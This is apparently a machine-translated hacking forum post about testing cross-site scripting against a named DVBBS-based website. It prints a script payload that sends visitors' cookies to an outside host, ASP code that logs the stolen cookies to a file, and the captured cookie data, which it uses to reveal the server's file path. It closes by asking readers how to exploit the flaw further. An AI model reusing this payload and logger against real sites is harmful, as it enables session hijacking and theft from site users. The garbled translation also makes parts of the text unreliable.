The problem of the path of the cookie-purging site of the movable net-safety-related

I. Cross-station testing
Let's take a look at one of my cross station tests.
I am a professional owe money site to do test it:
host:zhiyeqianqian.51web.cn
My Test:
First in his talk about uploading two pictures,
The contents of figure I are:
<script>document.location= ' http://linzi.cnbct.org/cookie.asp?msg= ' +document.cookie</script>
Get URL for uploadfile/2005-6/200562716565777847.jpg
Figure two is my personal photo.
Uploadfile/2005-6/200562716563048909.jpg
Write a stolen cookie code to my space, LCX theft cookie Code has a problem, so modified a bit.
<%
Cookiefile=server.mappath ("Cookie.txt")
Set Fs=server. CreateObject ("Scripting.FileSystemObject")
Set COOKIEFILE=FS. OpenTextFile (cookiefile,8,true,0)
Cookiefile. Write (request.querystring& "<br>")
Cookiefile.close
Set fs = Nothing
%>
<meta http-equiv= "Refresh" content= "0; Url= http://zhiyeqianqian.51web.cn/UploadFile/2005-6/200562716563048909.jpg ">
Next, click on figure one to automatically go to figure two,

Second, the result analysis
Take a look at my space and catch the cookie as follows:
Msg=ewwwrootzhiyeqianqianwwwroot=userid=218&usercookies=1&statuserid=2190418138&password= want it? Hey, &userhidden=2&userclass=%d0%c2%ca%d6%c9%cf%c2%b7&username=linzi;%20aspsessionidqscaaqtb=. hmplnimdhocdjkpelpgbboog;%20dvbbs;%20dvbbsmagicface=862;%20upnum=2;%20aspsessionidqsaaartb= Jbppmonddegfgheoicdhfjim<br>
Analyzing cookies It's not hard to see that his absolute path is e:\wwwroot\zhiyeqianqian\wwwroot.


Third, on the discussion
Originally, the initial test I was in the test BCT talk, succeeded in exploding his absolute path, at the beginning, I also think that may be moving the net out of the hole, so went to test several other stations, the test results are other sites and did not burst out of the path, today again test "owe me money" on the discussion, but not out, Check the code, and other people's code is the same, there is no difference.
I want to listen to everyone's opinion, in the end is where the problem, can be in-depth use ~ ~ ~